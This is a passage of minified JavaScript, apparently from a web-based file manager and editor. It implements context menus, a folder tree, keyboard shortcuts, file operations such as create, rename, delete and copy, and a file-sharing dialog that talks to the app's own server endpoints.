fadeIn")},c=function(){$.contextMenu({selector:".menuBodyMain",className:"fileContiner_menu",zIndex:9999,callback:function(e,t){f(e,t)},items:{refresh:{name:LNG.refresh+"F5",className:"refresh",icon:"refresh",accesskey:"e"},sep1:"--------",listIcon:s.listIcon,sortBy:s.sortBy,setFileIconSize:s.setFileIconSize,sep10:"--------",info:{name:LNG.info+"Alt+I",className:"info",icon:"info",accesskey:"i"}}})},d=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:t,className:t.substr(1),callback:function(e){h(e)},items:{open:{name:LNG.open+"Enter",className:"open",icon:"folder-open-alt",accesskey:"o"},down:{name:LNG.download,className:"down",icon:"download",accesskey:"x"},sep1:"--------",search:{name:LNG.search_in_path+"Ctrl+F",className:"search",icon:"search",accesskey:"s"},openProject:{name:LNG.openProject,className:"openProject",icon:"edit"},sep2:"--------",info:{name:LNG.info+"Alt+I",className:"info",icon:"info",accesskey:"i"}}})},p=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:e,className:e.substr(1),callback:function(e){h(e)},items:{open:{name:LNG.open+"Enter",className:"open",icon:"external-link",accesskey:"o"},open_text:{name:LNG.edit+"Ctrl+E",className:"open_text",icon:"edit",accesskey:"e"},down:{name:LNG.download,className:"down",icon:"download",accesskey:"x"},show_file:{name:LNG.show_file,className:"show_file",icon:"globe",accesskey:"b"},sep1:"--------",info:{name:LNG.info+"Alt+I",className:"info",icon:"info",accesskey:"i"}}})},u=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:i,className:i.substr(1),callback:function(e){h(e)},items:{down:{name:LNG.download,className:"down",icon:"download",accesskey:"x"},sep1:"--------",playmedia:{name:LNG.add_to_play,className:"playmedia",icon:"music",accesskey:"p"},info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}})},f=function(e){switch(e){case"refresh":ui.f5(!0,!0);break;case"seticon":ui.setListType("icon");break;case"setlist":ui.setListType("list");break;case"set_sort_name":ui.setListSort("name",0);break;case"set_sort_ext":ui.setListSort("ext",0);break;case"set_sort_size":ui.setListSort("size",0);break;case"set_sort_mtime":ui.setListSort("mtime",0);break;case"set_sort_up":ui.setListSort(0,"up");break;case"set_sort_down":ui.setListSort(0,"down");break;case"info":ui.path.info();break;case"box-size-smallx":ui.setFileIconSize(40);break;case"box-size-small":ui.setFileIconSize(60);break;case"box-size-default":ui.setFileIconSize(80);break;case"box-size-big":ui.setFileIconSize(150);break;case"box-size-bigx":ui.setFileIconSize(220);break;case"open":ui.path.open();break;default:}},h=function(e){switch(e){case"open":ui.path.open();break;case"down":ui.path.download();break;case"open_text":ui.path.openEditor();break;case"playmedia":ui.path.play();break;case"search":ui.path.search();break;case"show_file":ui.path.show_file();break;case"openProject":ui.path.openProject();break;case"info":ui.path.info();break;default:}},m=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:a,callback:function(e){k(e)},items:{download:{name:LNG.download,className:"down",icon:"download",accesskey:"x"},sep2:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}})},_=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:n,callback:function(e){k(e)},items:{download:{name:LNG.download,className:"down",icon:"download",accesskey:"x"},sep1:"--------",search:{name:LNG.search_in_path,className:"search",icon:"search",accesskey:"s"},explorer:{name:LNG.manage_folder,className:"explorer",icon:"laptop",accesskey:"v"},openProject:{name:LNG.openProject,className:"openProject",icon:"edit"},sep2:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}}) +},v=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:n,callback:function(e){k(e)},items:{download:{name:LNG.download,className:"down",icon:"download",accesskey:"x"},sep1:"--------",search:{name:LNG.search_in_path,className:"search",icon:"search",accesskey:"s"},explorer:{name:LNG.manage_folder,className:"explorer",icon:"laptop",accesskey:"v"},openProject:{name:LNG.openProject,className:"openProject",icon:"edit"},sep2:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}})},g=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:o,callback:function(e){k(e)},items:{edit:{name:LNG.edit,className:"edit",icon:"edit",accesskey:"e"},open:{name:LNG.open,className:"open",icon:"external-link",accesskey:"o"},download:{name:LNG.download,className:"download",icon:"download",accesskey:"x"},show_file:{name:LNG.show_file,className:"show_file",icon:"globe",accesskey:"b"},sep1:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}})},b=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".taskBarMenu",items:{quitOthers:{name:LNG.close_others,className:"quitOthers",icon:"remove-circle",accesskey:"o"},quit:{name:LNG.close,className:"quit",icon:"remove",accesskey:"q"}},callback:function(e,t){var i=t.$trigger.attr("id"),a=$.dialog.list[i];switch(e){case"quitOthers":$.each($.dialog.list,function(e,t){i!=e&&t.close()});break;case"quit":a.close()}}})},y=function(){$.contextMenu({zIndex:9999,selector:".task_tab",items:{closeAll:{name:LNG.dialog_close_all,icon:"remove-circle",accesskey:"q"},showAll:{name:LNG.dialog_display_all,icon:"th-large",accesskey:"s"},hideAll:{name:LNG.dialog_min_all,icon:"remove",accesskey:"h"}},callback:function(e,t){var i=t.$trigger.attr("id");switch($.dialog.list[i],e){case"showAll":$.each($.dialog.list,function(e,t){t.display(!0)});break;case"hideAll":$.each($.dialog.list,function(e,t){t.display(!1)});break;case"closeAll":$.each($.dialog.list,function(e,t){t.close()});break;default:}}})},x=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".dialog_menu",items:{quit_dialog:{name:LNG.close,className:"quit_dialog",icon:"remove",accesskey:"q"},hide_dialog:{name:LNG.dialog_min,className:"hide_dialog",icon:"minus",accesskey:"h"},refresh:{name:LNG.refresh,className:"refresh",icon:"refresh",accesskey:"r"},open_window:{name:LNG.open_ie,className:"open_window",icon:"globe",accesskey:"b"},sep101:"--------",qrcode:{name:LNG.qrcode,className:"qrcode",icon:"qrcode",accesskey:"c"}},callback:function(e,t){var i=t.$trigger.attr("id"),a=$.dialog.list[i];switch(e){case"quit_dialog":a.close();break;case"hide_dialog":a.display(!1);break;case"refresh":a.refresh();break;case"open_window":a.open_window();break;case"qrcode":core.qrcode(a.DOM.wrap.find("iframe").attr("src"));break;default:}}})},k=function(e){switch(e){case"edit":ui.tree.openEditor();break;case"open":ui.tree.open();break;case"refresh":ui.tree.refresh();break;case"info":ui.tree.info();break;case"explorer":ui.tree.explorer();break;case"openProject":ui.tree.openProject();break;case"show_file":ui.tree.showFile();break;case"download":ui.tree.download();break;case"search":ui.tree.search();break;case"refresh_all":ui.tree.init();break;case"quit":break;default:}};return{initExplorer:r,initEditor:l,show:function(e,t,i){e&&(rightMenu.hidden(),$(e).contextMenu({x:t,y:i}))},menuShow:function(){var e=$(".context-menu-list").filter(":visible"),t=$(".context-menu-active");if(0!=e.length&&0!=t.length){if(t.hasClass("dialog_menu")){var i=t.attr("id"),a=$.dialog.list[i];a.has_frame()?(e.find(".open_window").show(),e.find(".refresh").show()):(e.find(".open_window").hide(),e.find(".refresh").hide())}if(t.hasClass("menufile")){var n=ui.fileLight.type(ui.fileLight.fileListSelect());"zip"==n?e.find(".unzip").show():e.find(".unzip").hide(),"html"==n||"htm"==n||"oexe"==n?e.find(".open_text").show():e.find(".open_text").hide()}if(t.hasClass("menuMore")){var o=0;ui.fileLight.fileListSelect().each(function(){var e=core.pathExt(ui.fileLight.name($(this)));(inArray(core.filetype.music,e)||inArray(core.filetype.movie,e))&&(o+=1)}),0==o?e.find(".playmedia").hide():e.find(".playmedia").show()}}},isDisplay:function(){var e=!1;return $(".context-menu-list").each(function(){"none"!=$(this).css("display")&&(e=!0)}),e},hidden:function(){$(".context-menu-list").filter(":visible").trigger("contextmenu:hide")}}}),define("app/src/share_editor/ui",[],function(){var e=function(){var e=!1,t=0,i=0,a=0,n=$(".frame-left"),o=$(".frame-resize"),s=$(".frame-right");o.die("mousedown").live("mousedown",function(e){return 1!=e.which?!0:(r(e),this.setCapture&&this.setCapture(),$(document).mousemove(function(e){l(e)}),$(document).one("mouseup",function(e){return c(e),this.releaseCapture&&this.releaseCapture(),stopPP(e),!1}),stopPP(e),!1)});var r=function(a){e=!0,t=a.pageX,i=$(".frame-left").width(),o.addClass("active"),$(".resizeMask").css("display","block")},l=function(r){if(!e)return!0;var l=r.pageX-t,c=i+l;a>c&&(c=a),c>$(document).width()-200&&(c=$(document).width()-200),n.css("width",c),o.css("left",c-5),s.css("left",c+1)},c=function(){return e?(e=!1,o.removeClass("active"),$(".resizeMask").css("display","none"),void 0):!1}},t=function(){$(".tools-left a").click(function(){var e=$(this).attr("class");switch(e){case"home":tree.init();break;case"view":tree.explorer();break;case"folder":tree.create("folder");break;case"file":tree.create("file");break;case"refresh":tree.init();break;default:}})};return{init:function(){e(),t(),tree.init(),Mousetrap.bind(["ctrl+s","command+s"],function(e){e.preventDefault(),e.returnvalue=!1,ShareData.frameTop("OpenopenEditor",function(e){e.Editor.save()})})},setTheme:function(e){core.setSkin(e,"app_editor.css"),ShareData.frameTop("OpenopenEditor",function(t){t.Editor.setTheme(e)})},editorFull:function(){var e=$("iframe[name=OpenopenEditor]");e.toggleClass("frame_fullscreen")},fileHistory:function(e){var t=G.project;if(G.sid!==void 0&&(t=t+"__"+G.sid),t="editorHistory_"+t,void 0==e){var i=LocalData.get(t);return i=jsonDecode(i),$.isArray(i)||(i=[]),i}LocalData.set(t,jsonEncode(e))}}}),define("app/common/tree",["./pathOperate","./pathOpen","./myPlayer"],function(e){var t,i=e("./pathOperate"),a=e("./pathOpen"),n=!1;ui.pathOpen=a,ui.pathOperate=i;var o,s=function(){0!=$("#windowMaskView").length&&"block"==$("#windowMaskView").css("display")&&inArray(core.filetype.image,f().type)&&a.open(f().path,f().type)},r=function(e){for(var t=[],i=[],a=0;e.length>a;a++){if(e[a].drop=!1,e[a].drag=!1,e[a].name=e[a].name,e[a].isParent&&e[a].children&&(e[a].children=r(e[a].children)),e[a].menuType)return e;e[a].is_writeable,"folder"==e[a].type?i.push(e[a]):t.push(e[a])}return i=i.sort(function(e,t){var e=e.name,t=t.name;return ui.pathOperate.strSort(e,t)}),t=t.sort(function(e,t){var e=e.name,t=t.name;return ui.pathOperate.strSort(e,t)}),i.concat(t)},l=function(){var e={},t="tree_open_"+md5(Config.pageApp),i=function(e){if(!LocalData.support())return{};if(void 0==e){var i=LocalData.getConfig(t);return 0==i?{}:i}LocalData.setConfig(t,e)},a=function(t){for(var i=0;t.length>i;i++){var a=t[i].path;void 0!==e[a]&&(t[i].open=e[a])}return t},n=function(){for(var t=o.getNodesByFilter(function(e){return 0==e.level?!0:!1}),a={},n=0;t.length>n;n++)a[t[n].path]=t[n].open;return e=a,i(e),e};return e=i(),{list:function(){return e},reset:a,save:n}}(),c=function(){$.ajax({url:Config.treeAjaxURL+"&type=init",dataType:"json",error:function(){$("#folderList").html('
        '+LNG.system_error+"
        ")},success:function(e){if(!e.code)return $("#folderList").html('
        '+LNG.system_error+"
        "),void 0;var t=r(e.data);t=l.reset(t),$.fn.zTree.init($("#folderList"),u,t),o=$.fn.zTree.getZTreeObj("folderList")}}),$(".ztree .switch").die("mouseenter").live("mouseenter",function(){$(this).addClass("switch_hover")}).die("mouseleave").live("mouseleave",function(){$(this).removeClass("switch_hover")}),"editor"==Config.pageApp&&(Mousetrap.bind("up",function(e){d(e,"up")}).bind("down",function(e){d(e,"down")}).bind("left",function(e){d(e,"left")}).bind("right",function(e){d(e,"right")}),Mousetrap.bind("enter",function(){tree.open()}).bind(["del","command+backspace"],function(){tree.remove()}).bind("f2",function(e){stopPP(e),tree.rname()}).bind(["ctrl+f","command+f"],function(e){stopPP(e),tree.search()}).bind(["ctrl+c","command+c"],function(){tree.copy()}).bind(["ctrl+x","command+x"],function(){tree.cute()}).bind(["ctrl+v","command+v"],function(){tree.past()}).bind("alt+m",function(){tree.create("folder")}).bind("alt+n",function(){tree.create("file")}))},d=function(e,t){stopPP(e);var i=o.getSelectedNodes()[0];if(i){switch(t){case"up":var a=i.getPreNode();if(a){if(a.open&&a.children.length>0)for(;a.open&&a.children&&a.children.length>=1;)a=a.children[a.children.length-1]}else a=i.getParentNode();o.selectNode(a);break;case"down":if(i.open&&i.children.length>=1)a=i.children[0];else{var n=i,a=n.getNextNode()||n.getParentNode().getNextNode();try{for(;!a;)n=n.getParentNode(),a=n.getNextNode()||n.getParentNode().getNextNode()}catch(e){}}o.selectNode(a);break;case"left":i.isParent?i.open?o.expandNode(i,!1):o.selectNode(i.getParentNode()):o.selectNode(i.getParentNode());break;case"right":i.open?o.selectNode(i.children[0]):o.expandNode(i,!0);break;default:}s()}},p=function(){return"editor"==Config.pageApp?!1:!0},u={async:{enable:!0,dataType:"json",url:Config.treeAjaxURL,autoParam:["ajax_path=path","tree_icon=tree_icon"],dataFilter:function(e,t,i){return i.code?r(i.data):null}},edit:{enable:!0,showRemoveBtn:!1,showRenameBtn:!1,drag:{isCopy:!1,isMove:!1}},view:{showLine:!1,selectedMulti:!1,expandSpeed:"fast",dblClickExpand:!1,addDiyDom:function(e,t){var i=15,a=$("#"+t.tId+"_switch"),n=$("#"+t.tId+"_ico");a.remove(),t.iconSkin=t.tree_icon;var o=t.tree_icon;if(t.ext?o=t.ext:t.tree_icon||(o=t.type),n.before(a).before(''+core.iconSmall(o)+"").remove(),void 0!=t.ext&&n.attr("class","").addClass("file "+t.ext).removeAttr("style"),t.level>=1){var s="";a.before(s)}var r="";void 0!=t.menuType?r=t.menuType:(("file"==t.type||"oexe"==t.ext)&&(r="menuTreeFile"),"folder"==t.type&&(r="menuTreeFolder"));var l=LNG.name+":"+t.name+"\n"+LNG.size+":"+core.fileSize(t.size)+"\n"+LNG.modify_time+":"+t.mtime;"file"!=t.type&&(l=t.name),a.parent().addClass(r).attr("title",l),0==t.is_writeable&&a.parent().addClass("file_not_writeable"),0==t.is_readable&&a.parent().addClass("file_not_readable")}},callback:{onClick:function(e,t,i){return o.selectNode(i),"editor"==Config.pageApp&&"folder"==i.type?(o.expandNode(i),void 0):("editor"==Config.pageApp||"folder"!=i.type?ui.tree.openEditor():ui.path.list(i.path),void 0)},beforeDblClick:function(){return!0},onCollapse:function(e,t,i){0==i.level&&l.save()},onExpand:function(e,t,i){0==i.level&&l.save()},onDblClick:function(e,t,i){return $(e.target).hasClass("switch")||!p()?!1:(o.expandNode(i),void 0)},beforeRightClick:function(e,t){o.selectNode(t)},beforeAsync:function(e,t){t.ajax_name=t.name,t.ajax_path=t.path,$("#"+t.tId+"_my_ico").addClass("ico_loading")},onAsyncSuccess:function(e,i,a,n){return $("#"+a.tId+"_my_ico").removeClass("ico_loading"),0==n.data.length?(o.removeChildNodes(a),void 0):("function"==typeof t&&(t(),t=void 0),void 0)},onRename:function(e,a,n){var s=n.getParentNode();if(o.getNodesByParam("name",n.name,s).length>1)return Tips.tips(LNG.name_isexists,!1),o.removeNode(n),void 0;if(n.create){var r=n.path+"/"+n.name;"folder"==n.type?i.newFolder(r,function(e){e.code&&(h(s),t=function(){var e=o.getNodesByParam("name",n.name,s)[0];o.selectNode(e),g()})}):i.newFile(r,function(e){e.code&&(h(s),t=function(){var e=o.getNodesByParam("name",n.name,s)[0];o.selectNode(e),g()})})}else{var l=rtrim(n.path,"/"),c=core.pathFather(n.path)+n.name;i.rname(l,c,function(e){n.path=e,h(s),t=function(){var e=o.getNodesByParam("name",n.name,s)[0];o.selectNode(e),g(),"folder"==n.type&&ui.path.list(n.path)}})}},beforeDrag:function(e,t){for(var i=0,a=t.length;a>i;i++)if(t[i].drag===!1)return!1;return!0},beforeDrop:function(e,t,i){return i?i.drop!==!1:!0},onDrop:function(e,t,a,n){var o="",s="",r=a[0];(r.father||r.this_path)&&(o=r.father+urlEncode(r.name),s=n.father+urlEncode(n.name),i.cuteDrag([{path:o,type:r.type}],s,function(){h(r)}))}}},f=function(e){if(o){var t=o.getSelectedNodes()[0],i="";return t?(i=t.type,("_null_"==i||void 0==i)&&(i="folder"),"file"==i&&(i=t.ext),e?[{path:t.path,type:i,node:t}]:{path:t.path,type:i,node:t}):{path:"",type:""}}},h=function(e){return e||(e=o.getSelectedNodes()[0]),e.isParent||(e=e.getParentNode())?(o.reAsyncChildNodes(e,"refresh"),void 0):(ui.tree.init(),void 0)},m=function(){v(G.KOD_USER_FAV),ui.f5()},_=function(){m(),v(G.KOD_GROUP_ROOT_SELF),v(G.KOD_GROUP_ROOT_ALL)},v=function(e){var t=o.getNodesByParam("path",e,null);h(t[0])},g=function(){"explorer"==Config.pageApp&&ui.f5()};return{treeOpenHistory:l,pathOpen:a,init:c,refresh:h,refreshPath:v,refreshFav:m,refreshGroup:_,zTree:function(){return o},openEditor:function(){a.openEditor(f().path)},openWindow:function(){a.openWindow(f().path)},share:function(){i.share(f())},download:function(){"folder"==f().type?i.zipDownload(f(!0)):a.download(f().path)},setSelect:function(e){var t=o.getSelectedNodes();if(!$.isArray(t)||1!=t.length||trim(t[0].path,"/")!=trim(e,"/")){var i=o.getNodesByFilter(function(t){return trim(t.path,"/")==trim(e,"/")?!0:!1},!0);i&&o.selectNode(i,!1)}},open:function(){if(!($(".dialog_path_remove").length>=1)){var e=f();"oexe"==e.type&&(e.path=e.node),a.open(e.path,e.type)}},fav:function(){var e=f();e.name=e.node.name,e.node="null",i.fav(e)},createLink:function(e){var t=f();i.createLink(t.path,t.node.name,t.type,e,g)},search:function(){core.search("",f().path)},appEdit:function(){var e=f(),t=e.node;t.path=e.path,i.appEdit(t,function(){h(e.node.getParentNode())})},info:function(){i.info(f(!0))},copy:function(){i.copy(f(!0))},cute:function(){i.cute(f(!0))},copyTo:function(){core.api.pathSelect({type:"folder",title:LNG.copy_to},function(e){i.copyDrag(f(!0),e,"",!1)})},cuteTo:function(){core.api.pathSelect({type:"folder",title:LNG.cute_to},function(e){i.cuteDrag(f(!0),e,function(){v()})})},favRemove:function(){i.favRemove(f().node.name,function(e){Tips.tips(e),m()})},past:function(){var e=f();e.node.isParent||(e.node=e.node.getParentNode()),i.past(e.path,function(){g(),h(e.node)})},clone:function(){var e=f();e.node.isParent||(e.node=e.node.getParentNode()),i.copyDrag(f(!0),core.pathFather(e.path),function(){g(),"folder"==e.type?h(e.node.getParentNode()):h(e.node)},!0)},remove:function(){var e=f(!0),t=e[0].node.getParentNode();i.remove(e,function(){g(),h(t)})},checkIfChange:function(e){n||(n=!0,o&&(o.getNodesByFilter(function(t){var i=t.path;return"folder"==t.type&&core.pathClear(i)==core.pathClear(e)&&h(t),!1},!0),setTimeout(function(){n=!1},500)))},explorer:function(){var e=o.getSelectedNodes();if(0>=e.length){var t=o.getNodes();o.selectNode(t[0])}var i=f().path;"folder"!=f().type&&(i=core.pathFather(i)),core.explorer(i)},openProject:function(){core.explorerCode(f().path)},create:function(e){var i=o.getSelectedNodes();if(0>=i.length){var a=o.getNodes();o.selectNode(a[0])}else"file"==i[0].type&&o.selectNode(i[0].getParentNode());var n=f(),s=n.node,r=s.getParentNode(),l="newfile",c=0,d=LNG.newfolder;if("folder"==e){for(;o.getNodesByParam("name",d+"("+c+")",r).length>0;)c++;newNode={name:d+"("+c+")",ext:"",type:"folder",create:!0,path:n.path}}else{for(var p=e;o.getNodesByParam("name",l+"("+c+")."+p,r).length>0;)c++;newNode={name:l+"("+c+")."+p,ext:p,type:"file",create:!0,path:n.path}}if(void 0!=s.children){var u=o.addNodes(s,newNode)[0];o.editName(u)}else"folder"!=s.type&&(s=s.getParentNode()),t=function(){var e=o.addNodes(s,newNode)[0];o.editName(e)},s.isParent?o.expandNode(s):t()},showFile:function(){var e="./index.php?share/file&sid="+G.sid+"&user="+G.user+"&path="+f().path;window.open(e)},rname:function(){var e=o.getSelectedNodes()[0];o.editName(e),e.beforeName=e.name}}}),define("app/common/pathOperate",[],function(e){var t=["/","\\",":","*","?",'"',"<",">","|"],i=["/","\\"],a=function(e){var a=function(e,t){for(var i=t.length,a=0;i>a;a++)if(e.indexOf(t[a])>0)return!0;return!1},n=i;return G.system_os&&"windows"==G.system_os&&(n=t),a(e,n)?(Tips.tips(LNG.path_not_allow+": "+n.join(", "),!1),!1):!0},n=function(e){for(var t=[],i=function(e){return e.replace(/"/g,'\\\\"')},a=0;e.length>a;a++)t.push({type:i(e[a].type),path:urlEncode(i(e[a].path))});return"list="+jsonEncode(t)},o=function(e,t){for(var i="0123456789零一二三四五六七八九十百千万壹贰叁肆伍陆柒捌玖拾佰仟万",a=0;Math.max(e.length,t.length)>a;a++)if(e.charAt(a)!=t.charAt(a)){var n=i.indexOf(e.charAt(a)),o=i.indexOf(t.charAt(a));return-1!=n&&-1!=o?n>o?1:o>n?-1:0:e.charAt(a)>t.charAt(a)?1:e.charAt(a)a;a++)if(e.charAt(a)!=t.charAt(a)||isNaN(parseInt(e.charAt(a)))){e=e.substr(a),t=t.substr(a);break}var n=/(-?[0-9\.]+)/g,s=(""+e).toLowerCase()||"",r=(""+t).toLowerCase()||"",l=String.fromCharCode(0),c=s.replace(n,l+"$1"+l).split(l),d=r.replace(n,l+"$1"+l).split(l),p=new Date(s).getTime(),u=p?new Date(r).getTime():null;if(u){if(u>p)return-1;if(p>u)return 1}for(var f=0,h=Math.max(c.length,d.length);h>f;f++)if(oFxNcL=parseFloat(c[f])||c[f],oFyNcL=parseFloat(d[f])||d[f],oFxNcL!=oFyNcL)if("string"==typeof oFxNcL&&"string"==typeof oFyNcL){var m=o(oFxNcL,oFyNcL);if(0!=m)return m}else{if(oFyNcL>oFxNcL)return-1;if(oFxNcL>oFyNcL)return 1}return 0},r=function(e,t){if(e){var i=core.pathThis(e);return a(i)?($.ajax({dataType:"json",url:"index.php?explorer/mkfile&path="+urlEncode(e),beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(e){Tips.close(e),"function"==typeof t&&t(e.info)}}),void 0):("function"==typeof t&&t(),void 0)}},l=function(e,t){if(e){var i=core.pathThis(e);return a(i)?($.ajax({dataType:"json",url:"index.php?explorer/mkdir&path="+urlEncode(e),beforeSend:function(){"function"==typeof t&&Tips.loading()},error:core.ajaxError,success:function(e){"function"==typeof t&&(Tips.close(e),t(e.info))}}),void 0):("function"==typeof t&&t(),void 0)}},c=function(e,t,i){return e&&t&&e!=t?a(core.pathThis(t))?($.ajax({type:"POST",dataType:"json",url:"index.php?explorer/pathRname",data:"path="+urlEncode(e)+"&rname_to="+urlEncode(t),beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(e){Tips.close(e),"function"==typeof i&&i(e.info)}}),void 0):("function"==typeof i&&i(),void 0):void 0},d=function(e,t,i){if(!(1>e.length)){var a=LNG.remove_title,o=LNG.remove_info,s="index.php?explorer/pathDelete",r=n(e);"share"==e[0].type&&(o=LNG.share_remove_tips,s="index.php?userShare/del",a=LNG.share_remove),(G.this_path==G.USER_RECYCLE||"recycle_clear"==e[0].type)&&(o=LNG.recycle_clear_info,s="index.php?explorer/pathDeleteRecycle",a=LNG.recycle_clear,"recycle_clear"==e[0].type&&(r={})),e.length>1&&(o+=' ... '+e.length+"");var l=function(){$.ajax({url:s,type:"POST",dataType:"json",data:r,beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(i){if(Tips.close(i),ShareData.frameTop("",function(e){e.ui.f5()}),"share"==e[0].type){G.self_share=i.info;var n=$.dialog.list.share_dialog;void 0!=n&&n.close()}a==LNG.recycle_clear?core.playSound("recycle_clear"):core.playSound("file_remove"),"function"==typeof t&&t(i)}})};i===!0?l():$.dialog({id:"dialog_path_remove",fixed:!0,icon:"question",title:a,padding:"40px 80px 40px 30px",lock:!0,background:"#000",opacity:.1,content:o,ok:l,cancel:!0})}},p=function(e){1>e.length||$.ajax({url:"index.php?explorer/pathCopy",type:"POST",dataType:"json",data:n(e),error:core.ajaxError,success:function(e){Tips.tips(e)}})},u=function(e){var t=e.path,i="folder"==e.type?"folder":"file";1>t.length||core.authCheck("userShare:set")&&$.ajax({url:"./index.php?userShare/checkByPath&path="+urlEncode(t),dataType:"json",error:core.ajaxError,success:function(e){if(e.code)Tips.tips("该分享已存在",!0),f(e.data);else{G.self_share=e.info;var a={path:t,type:i,name:core.pathThis(t)};h(a,function(e){e.code?(G.self_share=e.info,ui.f5(),f(e.data)):(Tips.tips(e),f(void 0,function(){$(".content_info input[name=type]").val(i),$(".content_info input[name=path]").val(t),$(".content_info input[name=name]").val(core.pathThis(t)+"(1)"),"file"==i&&($(".label_code_read").addClass("hidden"),$(".label_can_upload").addClass("hidden"))}))})}}})},f=function(t,i){0!=$(".share_dialog").length&&$(".share_dialog").shake(3,30,100),e.async(["lib/jquery.datetimepicker/jquery.datetimepicker.css","lib/jquery.datetimepicker/jquery.datetimepicker.js"],function(){m(t),void 0!=i&&i()})},h=function(e,t){$.ajax({url:"index.php?userShare/set",data:e,type:"POST",dataType:"json",beforeSend:function(){$(".share_create_button").addClass("disabled")},error:function(){Tips.tips(LNG.error,!1)},success:function(e){$(".share_create_button").removeClass("disabled"),void 0!=t&&t(e)}})},m=function(t){var i=e("./tpl/share.html"),a=template.compile(i),n=a({LNG:LNG});$.dialog({id:"share_dialog",simple:!0,resize:!1,width:425,title:LNG.share,padding:"0",fixed:!0,content:n});var o="zh-CN"==G.lang?"ch":"en";$("#share_time").datetimepicker({format:"Y/m/d",formatDate:"Y/m/d",timepicker:!1,lang:o}),$("#share_time").unbind("blur").bind("blur",function(e){stopPP(e)});var s=function(e){if($(".share_setting_more").addClass("hidden"),void 0==e)$(".share_has_url").addClass("hidden"),$(".share_action .share_remove_button").addClass("hidden"),$(".content_info input[name=sid]").val(""),$(".content_info input[name=type]").val(""),$(".content_info input[name=name]").val(""),$(".content_info input[name=show_name]").val(""),$(".content_info input[name=path]").val(""),$(".content_info input[name=time_to]").val(""),$(".content_info input[name=share_password]").val(""),$(".share_view_info").addClass("hidden");else{e.can_upload===void 0&&(e.can_upload=""),t=e,e.show_name||(e.show_name=e.name),$(".content_info input[name=sid]").val(e.sid),$(".content_info input[name=type]").val(e.type),$(".content_info input[name=name]").val(e.name),$(".content_info input[name=show_name]").val(e.show_name),$(".content_info input[name=path]").val(e.path),$(".content_info input[name=time_to]").val(e.time_to),$(".content_info input[name=share_password]").val(e.share_password),$(".share_view_info").removeClass("hidden"),e.num_download===void 0&&(e.num_download=0),e.num_view===void 0&&(e.num_view=0);var i=LNG.share_view_num+e.num_view+" "+LNG.share_download_num+e.num_download;$(".share_view_info").html(i),"1"==e.code_read?$(".content_info input[name=code_read]").attr("checked","checked"):$(".content_info input[name=code_read]").removeAttr("checked"),"1"==e.not_download?$(".content_info input[name=not_download]").attr("checked","checked"):$(".content_info input[name=not_download]").removeAttr("checked"),"1"==e.can_upload?$(".content_info input[name=can_upload]").attr("checked","checked"):$(".content_info input[name=can_upload]").removeAttr("checked"),$(".share_has_url").removeClass("hidden"),"file"==e.type?($(".label_code_read").addClass("hidden"),$(".label_can_upload").addClass("hidden")):($(".label_code_read").removeClass("hidden"),$(".label_can_upload").removeClass("hidden"));var a=e.type;"folder"==e.type&&(a=1==e.code_read?"code_read":"folder");var n=G.app_host+"index.php?share/"+a+"&user="+G.user_id+"&sid="+e.sid;$(".content_info .share_url").val(n),(e.time_to||e.share_password||e.can_upload||e.code_read||e.not_download)&&$(".share_setting_more").removeClass("hidden"),$(".share_remove_button").removeClass("hidden"),$(".share_create_button").text(LNG.share_save)}},r=function(){$(".share_action .share_remove_button").unbind("click").click(function(){d([{type:"share",path:t.sid}],function(){ui.f5()})}),$(".content_info .share_more").unbind("click").click(function(){$(".share_setting_more").toggleClass("hidden")}),$(".share_action .share_create_button").unbind("click").click(function(){var e="";$(".share_dialog .content_info input[name]").each(function(){var t=urlEncode($(this).val());"checkbox"==$(this).attr("type")&&(t=$(this).attr("checked")?"1":""),e+="&"+$(this).attr("name")+"="+t}),h(e,function(e){e.code?(Tips.tips(LNG.success,!0),G.self_share=e.info,ui.f5(),s(e.data),$(".share_create_button").text(LNG.share_save)):Tips.tips(e)})}),$(".content_info .open_window").unbind("click").bind("click",function(){window.open($("input.share_url").val())}),$(".content_info .qrcode").unbind("click").bind("click",function(){core.qrcode($("input.share_url").val())});var e=$("input.share_url"),i=e.get(0);e.unbind("hover click").bind("hover click",function(){$(this).focus();var t=e.val().length;if($.browser.msie){var a=i.createTextRange();a.moveEnd("character",-i.value.length),a.moveEnd("character",t),a.moveStart("character",0),a.select()}else i.setSelectionRange(0,t)})};s(t),r()},_=function(e){$.ajax({url:"index.php?setting/set&k=wall&v="+urlEncode(e),dataType:"json",success:function(e){Tips.tips(e)}})},v=function(e,t,i,a,n){if(!(1>e.length)){var o,s=G.myhome+"/desktop/";a&&(s=core.pathFather(e)),o="folder"==i?"ui.path.list(hashDecode('"+hashEncode(e)+"'));":"ui.path.open(hashDecode('"+hashEncode(e)+"'));";var r=urlEncode(s+t+".oexe"),l=core.getPathIcon(e);""==l.icon&&(l.icon=i),$.ajax({url:"./index.php?explorer/mkfile&path="+r,type:"POST",dataType:"json",data:{content:jsonEncode({type:"app_link",content:o,icon:l.icon})},success:function(e){Tips.tips(e),e.code&&(ShareData.frameTop("",function(e){e.ui.f5()}),"function"==typeof n&&n(e.info))}})}},g=function(e,t){if(!(1>e.length)){var i=core.pathThis(e),a=core.pathFather(e);jsrun="core.explorerCode('"+urlEncode(e)+"');";var n=urlEncode(a+i+"_project.oexe");$.ajax({url:"./index.php?explorer/mkfile&path="+n,type:"POST",dataType:"json",data:'content={"type":"app_link","content":"'+jsrun+'","icon":"folder.png"}',success:function(e){e.code&&"function"==typeof 